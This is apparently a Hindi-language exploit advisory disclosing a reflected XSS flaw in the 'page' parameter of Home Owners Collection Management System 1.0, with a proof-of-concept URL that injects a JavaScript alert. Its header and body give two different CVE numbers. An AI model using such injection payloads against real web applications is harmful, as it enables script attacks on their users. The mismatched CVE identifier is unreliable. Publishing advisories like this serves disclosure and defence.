CVE-2022-28077

होम ओनर्स कलेक्शन मैनेजमेंट सिस्टम 1.0 - रिफ्लेक्टेड XSS

शोषण शीर्षक: होम ओनर्स कलेक्शन मैनेजमेंट सिस्टम 1.0 - रिफ्लेक्टेड XSS

दिनांक: 2022-05-06

CVE: CVE-2022-28078

शोषण लेखक: अब्दुलअज़ीज़ साद (@b4zb0z)

विक्रेता होमपेज: https://www.sourcecodester.com/

सॉफ्टवेयर लिंक: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html

संस्करण: 1.0

परीक्षण किया गया: LAMP, उबंटू

[#] भेद्यता स्थान:

`$_GET['page']` `/hocms/admin/inc/navigation.php:116` में

[#] शोषण:

`http://localhost/hocms/admin/?page=';alert("b4zb0z");'`